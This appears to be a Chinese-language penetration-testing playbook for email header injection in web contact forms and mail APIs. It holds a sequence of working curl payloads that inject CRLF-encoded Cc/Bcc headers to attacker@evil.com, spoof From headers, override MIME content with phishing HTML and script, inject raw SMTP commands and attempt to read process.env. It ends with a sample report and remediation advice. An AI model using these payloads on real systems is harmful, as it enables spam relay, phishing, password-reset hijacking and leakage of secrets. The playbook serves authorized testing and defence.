| name | testing-for-email-header-injection |
| description | 测试 Web 应用程序邮件功能中的 SMTP 头部注入漏洞,这些漏洞允许攻击者注入额外的邮件头部、修改收件人,并通过联系表单实施垃圾邮件中继。 |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | ["email-injection","smtp-injection","crlf-injection","header-injection","spam-relay","contact-form","email-security"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
测试邮件头部注入(Testing for Email Header Injection)
适用场景
- 测试联系表单、反馈表单或"邮件分享"功能时
- 评估密码重置邮件功能时
- 测试新闻订阅或通知邮件系统时
- 对基于用户输入发送邮件的应用程序进行渗透测试时
- 审计与邮件相关的 API 端点是否存在头部注入时
前置条件
- Burp Suite(用于拦截和修改 HTTP 请求)
- 了解 SMTP 协议和邮件头部结构
- 熟悉 CRLF 注入技术(\r\n 序列)
- 用于接收注入邮件的测试邮箱账户
- 能够访问触发邮件发送的应用功能
- SMTP 服务器日志访问权限(用于监控注入尝试)
工作流程
步骤 1 — 识别邮件注入点
curl -X POST http://target.com/contact \
-d "name=Test&email=test@test.com&subject=Hello&message=Test message"
步骤 2 — 测试 CRLF 头部注入
curl -X POST http://target.com/contact \
-d "name=Test&email=test@test.com%0ACc:attacker@evil.com&message=Test"
curl -X POST http://target.com/contact \
-d "name=Test&email=test@test.com%0ABcc:attacker@evil.com&message=Test"
curl -X POST http://target.com/contact \
-d "name=Test%0ACc:attacker@evil.com&email=test@test.com&message=Test"
curl -X POST http://target.com/contact \
-d "name=Test&email=test@test.com&subject=Hello%0ABcc:attacker@evil.com&message=Test"
curl -X POST http://target.com/contact \
-d "email=test@test.com%0D%0ACc:attacker@evil.com"
curl -X POST http://target.com/contact \
-d "email=test@test.com%0ACc:attacker@evil.com"
curl -X POST http://target.com/contact \
-d "email=test@test.com%0DCc:attacker@evil.com"
curl -X POST http://target.com/contact \
-d "email=test@test.com%250ACc:attacker@evil.com"
步骤 3 — 注入自定义邮件内容
curl -X POST http://target.com/contact \
-d "email=test@test.com%0AContent-Type:text/html%0A%0A<h1>Phishing</h1>"
curl -X POST http://target.com/contact \
-d "email=test@test.com%0AContent-Type:multipart/mixed;boundary=boundary123%0A--boundary123%0AContent-Type:text/html%0A%0A<script>alert(1)</script>"
curl -X POST http://target.com/contact \
-d "email=test@test.com%0AFrom:ceo@target.com"
curl -X POST http://target.com/contact \
-d "email=test@test.com%0AReply-To:attacker@evil.com"
步骤 4 — 测试 IMAP/SMTP 注入
curl -X POST http://target.com/webmail/search \
-d "query=test%0AEXAMINE INBOX"
curl -X POST http://target.com/api/send \
-d "to=test@test.com%0ARCPT TO:attacker@evil.com"
curl -X POST http://target.com/api/verify \
-d "email=test@test.com%0AVRFY admin"
curl -X POST http://target.com/contact \
-d "email=test@test.com%0ATo:victim1@target.com%0ATo:victim2@target.com%0ATo:victim3@target.com"
步骤 5 — 测试基于 JSON 的邮件 API
curl -X POST http://target.com/api/send-email \
-H "Content-Type: application/json" \
-d '{"to":"test@test.com\nCc:attacker@evil.com","subject":"Test","body":"Test"}'
curl -X POST http://target.com/api/send-email \
-H "Content-Type: application/json" \
-d '{"to":["test@test.com","attacker@evil.com"],"subject":"Test","body":"Test"}'
curl -X POST http://target.com/api/send-email \
-H "Content-Type: application/json" \
-d '{"to":"test@test.com","subject":"Test","body":"{{constructor.constructor(\"return process.env\")()}}"}'
步骤 6 — 验证发现
核心概念
| 概念 | 定义 |
|---|
| CRLF 注入(CRLF Injection) | 注入回车和换行字符以创建新的邮件头部 |
| 头部注入(Header Injection) | 向外发邮件添加未授权头部(Cc、Bcc、From) |
| 垃圾邮件中继(Spam Relay) | 滥用邮件功能向任意收件人发送垃圾邮件 |
| 邮件伪造(Email Spoofing) | 修改 From 或 Reply-To 头部以冒充可信发件人 |
| MIME 操控(MIME Manipulation) | 注入 MIME 边界以覆盖邮件正文内容 |
| SMTP 命令注入(SMTP Command Injection) | 通过未经过滤的邮件参数注入原始 SMTP 命令 |
| 换行字符(Newline Characters) | \r\n(CRLF)、\n(LF)、\r(CR),用于分隔邮件头部 |
工具与系统
| 工具 | 用途 |
|---|
| Burp Suite | 修改与邮件相关的表单提交的 HTTP 代理 |
| swaks | SMTP 测试和头部注入验证的瑞士军刀工具 |
| OWASP ZAP | 具有邮件注入检测功能的自动化扫描器 |
| mailhog | 用于捕获注入邮件的本地 SMTP 测试服务器 |
| smtp4dev | 用于监控邮件注入结果的开发 SMTP 服务器 |
| Nuclei | 具有邮件头部注入检测模板的扫描器 |
常见场景
- 垃圾邮件中继 — 注入 BCC 头部,通过目标 SMTP 服务器中继大量邮件,绕过信任发件人域名的垃圾邮件过滤器
- 通过联系表单实施网络钓鱼 — 修改 From 和 Reply-To 头部,发送看似来自目标组织的钓鱼邮件
- 密码重置劫持 — 在密码重置流程中注入 CC 头部,接收发送给受害者的重置 Token 副本
- 邮件内容覆盖 — 注入 MIME Content-Type 头部,将合法邮件正文替换为恶意钓鱼内容
- 内网邮件滥用 — 利用头部注入向通常无法通过应用访问的内部邮箱地址发送邮件
输出格式
## 邮件头部注入报告
- **目标**:http://target.com/contact
- **注入点**:联系表单中的 email 字段
- **所需编码**:URL 编码 LF(%0A)
### 发现
| # | 字段 | 载荷 | 结果 | 严重性 |
|---|-------|---------|--------|----------|
| 1 | email | test@test.com%0ACc:evil@evil.com | CC 头部已注入 | High |
| 2 | email | test@test.com%0ABcc:evil@evil.com | BCC 头部已注入 | High |
| 3 | name | Test%0AFrom:ceo@target.com | From 伪造 | Medium |
### 修复建议
- 使用严格的正则表达式验证邮箱地址,拒绝包含换行符的输入
- 从所有与邮件相关的输入中剥离 \r、\n 及其编码变体
- 使用参数化邮件 API,将头部与数据分离
- 对邮件发送功能实施速率限制